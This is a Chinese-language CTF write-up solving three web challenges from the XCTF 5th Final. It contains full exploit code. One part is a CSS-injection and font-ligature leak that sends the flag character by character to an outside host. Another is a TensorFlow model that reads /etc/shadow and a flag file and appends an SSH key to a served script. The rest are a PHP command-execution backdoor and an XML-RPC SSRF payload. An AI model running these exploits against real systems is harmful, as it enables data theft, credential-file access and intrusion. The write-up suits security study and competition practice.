XCTF 5th Final 部分web 题解

  ctf

0x01 noxss

题目为Django的一道源码题,通读一下整套源码,发现其为一个用户登陆功能,在登陆之后会显示出自己的信息。发现其重要的代码为

models.py

from django.contrib.auth.models import User
from django.db import models
from django.db.models.signals import post_save
from django.dispatch import receiver
import uuid


class Profile(models.Model):
    id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
    user = models.OneToOneField(User, on_delete=models.CASCADE)
    theme = models.CharField(max_length=16, default='default')
    secret = models.CharField(max_length=100, default='')
    status = models.CharField(max_length=100, default='')
    def __str__(self):
        return self.user.username


@receiver(post_save, sender=User)
def create_or_update_user_profile(sender, instance, created, **kwargs):
    if created:
        Profile.objects.create(user=instance)
        instance.profile.secret = 'flag' if instance.is_staff else 'you have no secret'
    instance.profile.save()

@receiver的方式对用户进行检查,意思为如果检查账号为管理员账号,则返回flag,否则返回you have no secret,因此寻找secret值,在templates/account/userinfo.html文件中发现其使用的代码

<script>
  let csrf_token = '{{ csrf_token }}', secret = '{{ user.profile.secret }}';
  let statusSpan = document.getElementsByName('status')[0];
  statusSpan.onclick = () => {
    let newStatus = prompt("Update your status: ", statusSpan.innerText);
    if (newStatus) {
      $.post('/account/setstatus', data={
        csrfmiddlewaretoken: csrf_token,
        status: newStatus
      }).then(resp=>{
        location.reload()
      })
    }
  }
</script>

发现其将secret值赋值给javascript中的secret值,同时名字为noxss,因此推测就是联网打回secret值。因此再次审计,在/templates/bs4-form.html文件中发现一些hint

但是经过后期排查发现其field.help_text内容为

该内容被固定了,因此跳过该方向,再次寻找突破点,因此发现一个问题点,在/templates/base.html文件上发现如下代码

经过代码的跟踪,发现其功能是一个自定义化的主题的功能,因此本地起一个服务测试

Django自带的XSS防御机制为

可以看出来其过滤了<>"'和&,因此不能闭合style标签,因此尝试之前的RPO文章,因此尝试闭合import标签,fuzz之后通过%0a成功闭合了标签

account/userinfo?theme=cyborg/bootstrap.min.css%0a%22)%0a%0d{}%0a%0d*{color:green}%0ascript {display:block}%0a%0a(%22%00

成功进行css注入,但是在发现其使用的绝对路径,因此无法使用RPO,尝试使用@import方法来进行注入,但是被CSP规则拦截了,查看一下CSP的配置

Content-Security-Policy "default-src 'self' 'unsafe-inline' data: unsafe-inline; img-src *; font-src *; object-src 'none'; base-uri 'none';"

发现其限制了css的引入路径,但图片路径和字体路径没有做限制,因此继续搜索突破点。VK大哥发了一篇文章,其中一个显示script引起了注意力,尝试一下新的payload

/account/userinfo?theme=cyborg/bootstrap.min.css%0a%22)%0a%0d{}%0a%0ascript {display:block}%0a%0a(%22%00

成功显现出secret的内容,因此现在只要尝试将html内容打回来即可,同时文章中的另一篇内容给出了hint

https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/

其文章使用了连字的特点,对字体的特殊性做了一个利用点,在文章中大致意思就是将单独设置一个文字或者多个文字的长度,当只有匹配到制定长度的时候就得到一个打得长度同时造成了滚动条的产生,同时CSS可以设置滚动条的长度,因此可以爆破我们所需要的内容。因此首先我们需要安装fontforge。我们可以当读设置一个svg的字体,类似于

<svg>
  <defs>
    <font id="hack" horiz-adv-x="0">
      <font-face font-family="hack" units-per-em="1000" />
      <missing-glyph />
      <glyph unicode="a" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="b" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="c" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="d" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="e" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="f" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="g" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="h" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="i" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="j" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="k" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="l" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="m" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="n" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="o" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="p" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="q" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="r" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="s" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="t" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="u" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="v" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="w" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="x" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="y" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="z" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="christa" horiz-adv-x="10001" d="M1 0z"/>
    </font>
  </defs>
</svg>

之后写一个bash

#!/usr/bin/fontforge
Open($1)
Generate($1:r + ".woff")

使用命令

fontforge script.fontforge <plik>.svg

来产检一个字体

设置css中background的格式

<style>
@font-face {
    font-family: "hack";
    src: url(data:application/x-font-woff;base64,d09GRk9UVE8AAASMAA0AAAAABrQAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAABDRkYgAAABMAAAAMYAAAET2X+UzUZGVE0AAAH4AAAAGgAAABx4HbZKR0RFRgAAAhQAAAAiAAAAJgBmACVHUE9TAAACOAAAACAAAAAgbJF0j0dTVUIAAAJYAAAASQAAAFrZZNxYT1MvMgAAAqQAAABEAAAAYFXjXMBjbWFwAAAC6AAAAFgAAAFKYztWsWhlYWQAAANAAAAAKgAAADYK/lR7aGhlYQAAA2wAAAAbAAAAJAN8HpVobXR4AAADiAAAABEAAABwIygAAG1heHAAAAOcAAAABgAAAAYAHFAAbmFtZQAAA6QAAADbAAABYhVZELRwb3N0AAAEgAAAAAwAAAAgAAMAAHicY2RgYWFgZGRkzUhMzmZgZGJgZND4IcP0Q5b5hwRLNw9zNw9LNxCwyjDE8sswMAjIMEwRlGHglGHkEmJgBqnmYxBiECuOT43Pji+NL4pPjM8GmQQ2DQicGJwZXBhcGdwY3Bk8GDwZvBi8GXwYfBn8GPwZAhgCGYIYghlCGEIZwhjCGSIYIhmiGKIZ2xlkgO7h4OYTFBGXklVQVtPU0TcytbC2c3Rx9/INCA6XeSrM1yNGTfQNiLtFZOSuinbzcAEA5II3kAAAeJxjYGBgZACCM7aLzoPoqx8498JoAFANB5IAAHicY2BkYGDgA2I5BhBgAkJGBikglgZCJgYWsBgDAApvAIwAAAABAAAACgAcAB4AAWxhdG4ACAAEAAAAAP//AAAAAAAAeJwtiTsKgDAUBOfBE4PpDFaKJ/BSqYIQrHL/uH6KZZhZDJjYObCa20XAVeid57F6lqzGZ/r8ZdC2n87KyEBkYZZHzUg3jdsGbwAAAHicY2Bm/MI4gYGVgYOpi2kPAwNDD4RmfMBgyMjEwMDEwMrMAAOMDEggIM01hcGBIZGhilnhvwVDFIYaBSBkBwBaygpNeJxjYGBgZoBgGQZGBhBwAfIYwXwWBg0gzQakGRmYgKyq///BKhJB9P8FUPVAwMjGgODQCjAyMbOwsrFzcHJx8/Dy8QsICgmLiIqJS0hK0dpmogAAt2UIn3icY2BkYGAA4lnOpg7x/DZfGbiZXwBFGK5+4DyNTEMBBwMTiAIAHvUJJgAAeJxjYGRgYFb4b8EQJe/AAAGMDKhABgA70gIyAHicY37BQDcg78DAAABnlAFLAAAAAABQAAAcAAB4nF2QO27CQBCGP4MhTyUdbbZLZcveAgRVKg6Qgt5CK4OCbGmBS6SOIuUYOUBqrpV/yaRhV7Pzzeifhxa455OMdDJybo0HXPFkPMSxNc51P4xH3PFtPFb+JGWW3yhzfa5KPOCBR+MhLzwb59K8G4+Y8GU8Vv6HDQ1r3mDTrPW+Emg5slM6KgztcdcIlvR0HM4+ShG0qKekkl/I/tv8RZ4pBXOZl6JmpgZ9d1j2sQ3Ol5VbuDROzk+LeeGrWoqLTVaaEdnrO9Jkpy5pGqsQ99u+c3VZXZb8AnHaLhMAeJxjYGbACwAAfQAE);
}    

span {
    background: lightblue;
    font-family: "hack";
}
</style>
<input name=i oninput=span.textContent=this.value><br>
<span id=span>a</span>

当我们输入我们制定的字体的时候,改字体的长度即为10001px,否则长度为0,具体的视频可以参考文章中的这部视频

因此,思路就是通过设置xctf的flag的字段,之后逐位叠加既可以获得flag,可以先去除其他的干扰因素像这样

之后的脚本为

index.js

const express = require('express');
const app = express();

app.disable('etag');

const PORT = 4669;
const js2xmlparser = require('js2xmlparser');
const fs = require('fs');
const tmp = require('tmp');
const rimraf = require('rimraf');
const child_process = require('child_process');



function createFont(prefix, charsToLigature) {
    let font = {
        "defs": {
            "font": {
                "@": {
                    "id": "hack",
                    "horiz-adv-x": "0"
                },
                "font-face": {
                    "@": {
                        "font-family": "hack",
                        "units-per-em": "1000"
                    }
                },
                "glyph": []
            }
        }
    };

    let glyphs = font.defs.font.glyph;
    for (let c = 0x20; c <= 0x7e; c += 1) {
        const glyph = {
            "@": {
                "unicode": String.fromCharCode(c),
                "horiz-adv-x": "0",
                "d": "M1 0z",
            }
        };
        glyphs.push(glyph);
    }

console.log(prefix + (charsToLigature).toString())
    charsToLigature.forEach(c => {
        const glyph = {
            "@": {
                "unicode": prefix + c,
                 "vert-adv-y": "10000",
                 "horiz-adv-x": "10002",
                 "d": "M0 10000",
            }
        }
        glyphs.push(glyph);
    });

    const xml = js2xmlparser.parse("svg", font);


    const tmpobj = tmp.dirSync();
    fs.writeFileSync(`${tmpobj.name}/font.svg`, xml);
    child_process.spawnSync("/usr/bin/fontforge", [
        `${__dirname}/script.fontforge`,
        `${tmpobj.name}/font.svg`
    ]);

    const woff = fs.readFileSync(`${tmpobj.name}/font.woff`);

    rimraf.sync(tmpobj.name);

    return woff;
}

app.get("/font/:prefix/:charsToLigature", (req, res) => {
    const { prefix, charsToLigature } = req.params;

    res.set({
        'Cache-Control': 'public, max-age=600',
        'Content-Type': 'application/font-woff',
        'Access-Control-Allow-Origin': '*',
    });

    res.send(createFont(prefix, Array.from(charsToLigature)));

});
app.get('/index.html', (req, res) => {
	res.sendFile('index.html', {
		root: '.'
	});
});
app.listen(PORT, () => {
    console.log(`Listening on ${PORT}...`);
})

 

index.html

<script>
const chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_'.split('')
let ff = [], data = ''
let prefix = 'xctf{dobra_robota_j'
chars.forEach(c => {
    var css = ''
    css = '?theme=cyborg/bootstrap.min.css\n")\n{}\n'
    css += `body{overflow-y:hidden;overflow-x:auto;white-space:nowrap;display:block}html{display:block}*{display:none}body::-webkit-scrollbar{display:block;background: blue url(http://test.christa.top:4668/?${encodeURIComponent(prefix+c)})}`
    css += `@font-face{font-family:a${c.charCodeAt()};src:url(http://test.christa.top:4669/font/${prefix}/${c});}`
    css += `script{font-family:a${c.charCodeAt()};display:block}`
    document.write('<iframe scrolling=exp  src="http://noxss.cal1.cn:60080/account/userinfo?theme=' + encodeURIComponent(css) + '" style="width:1000000px" onload="event.target.style.width=\'100px\'"></iframe>')
})
</script>

 

使用命令

node index.js

开启一个web服务,并监听4669端口,像bot提交test.christa.top:4668/index.html这个url既可以依次爆破flag

获得flag

xctf{dobra_robota_jestes_mistrzem_CSS}

 

0x02 tfboys

这道题靠着大表哥们拿了一个二血,tql。这道题一个tensorflow的一道训练题,非常有趣,主要为流量自动识别

可以从题目上下载模型,使用简单的代码

import tensorflow as tf
import numpy as np

origin_model = './'
sess = tf.Session(graph=tf.Graph())

# 加载
meta_graph_def = tf.saved_model.loader.load(sess, [tf.saved_model.SERVING], origin_model)

# 查看模型结构
signature = meta_graph_def.signature_def
print(signature)

既可以加一个模型进行训练。同时我们参考Tensorflow的安全情况这篇文章

可以看到我们可以通过写入一个ssh_key文件来进行getshell,因此我们的payload为

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
import tensorflow as tf
from tensorflow.python.saved_model import builder as saved_model_builder
from tensorflow.python.saved_model import (signature_constants, signature_def_utils, tag_constants, utils)


def success_write(file_name_tensor, file_content_tensor):
    with tf.control_dependencies([tf.write_file(file_name_tensor, file_content_tensor)]):
        return tf.constant(1.0)

r1 = tf.read_file("/home/ubuntu/web3/flag_3deaef310")
reader = tf.read_file("/etc/shadow")
envstr = tf.string_split([reader], "\0")
home_prefix = tf.constant("HOME=")
i = tf.constant(0)
c = lambda i: tf.logical_and(tf.less(i, tf.size(envstr.values) - 1), tf.not_equal(tf.substr(envstr.values[i], 0, 5), [home_prefix])[0])
b = lambda i: tf.add(i, 1)
idx = tf.while_loop(c, b, [i])
home_env = envstr.values[idx]
len = tf.size(tf.string_split([home_env], ""))
home_dir = tf.substr(home_env, 5, len - 5)
file_path = tf.string_join(["/home/ubuntu/web3/static/js/bootstrap.min.js"])
org_content = tf.read_file(file_path)
payload = tf.constant("\r\n\r\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3h3yR6qxhqF9iu320dTQ/t7eBycXlxGtwQdQqCKBfRPW1JVRjnERyxfm6aD6vrI0yjdCMveirmDLG4bY8Wkluf212aRIuDmemwQau0w1sRuQjjK+at0ViE2e3l4jfbbbip7w/2TlTBQSmvi3NEIJjjJTifaLmE9rPLDHLCNdj9EnIYIrllRDg9IufZ4SKS19w0mzJweehTXP9kO3sNg3oKwf98+u2aJC6UtUY102rBVxcEuTKv4M4O2kiAsAzImYkINLDmRdYXnbfDHHTbZiJa8gDpwwBieVk/q1vHAKWCwXYhEekeC6v39ZrIBjCdGmOauC2xgA+LQLnS+bLtnqn root@debian\r\n\r\n")
evil_content = tf.string_join([org_content, payload, r1])

#b = success_write(file_path, evil_content)
a = tf.placeholder(tf.float32, [None,512],name="embedding_1_input")
#w = tf.Variable(tf.constant(2.0, shape=[1]), name="w")
#z = a * w + b
with tf.variable_scope(name_or_scope="dense_1"):
    with tf.control_dependencies([tf.write_file(file_path, evil_content)]):
        y = tf.reduce_sum(a,axis=1,keep_dims=True,name="Sigmoid")
sess = tf.Session()
sess.run(tf.global_variables_initializer())
#print(sess.run(file_path))
#print(evil_content)
model_signature = signature_def_utils.build_signature_def(
    inputs={"input": utils.build_tensor_info(a)},
    outputs={
        "output": utils.build_tensor_info(y)},
    method_name=signature_constants.PREDICT_METHOD_NAME)

export_path = "pb_model/1"
if os.path.exists(export_path):
    os.system("rm -rf " + export_path)
print("Export the model to {}".format(export_path))

bootstrap.min.js中获取读取的结果

在上传之后随意输入测试流量即可以获取到flag

 

0x03 babypress

其主页就是一个后门的页面

<?php

$backdoor = $_REQUEST['backdoor'];
if($backdoor){
	@system($backdoor . " 2>&1");
}

?>
<!doctype html>
<html>
<head>
	<title>stypr's secret backdoor</title>
</head>
<body>
	<form method=POST action=index.php>
		<input type="text" name="backdoor" value="backdoor">
		<input type="submit" value="backdoor()">
	</form>
</body>
</html>

同时hint提示为找出类似于0day的洞,因此经过代码的阅读,基本确定漏洞点在xmlrpc.php文件中,这是一个提取其他系统博客的一个功能,在typecho中这里出现了SSRF漏洞,虽然过滤很多内网的地址,但是外网地址没有进行过滤,同时发现docker-compose文件中特地将网段设置为了外网

因此使用xmlrpc进行SSRF攻击,基本payload为

<?xml version="1.0" encoding="utf-8"?>
<methodCall> 
  <methodName>pingback.ping</methodName>
  <params>
    <param>
      <value>
        <string>http://127.0.0.1:2222</string>
      </value>
    </param>
    <param>
      <value>
        <string>christa</string>
      </value>
    </param>
  </params>
</methodCall>

比赛紧张没来得及复现,因此借用line表哥的图

拿到flag

 

0xFF 后话

很遗憾最后还是没来得及做出noxss,队伍也不是一个好的名次,希望来年再战吧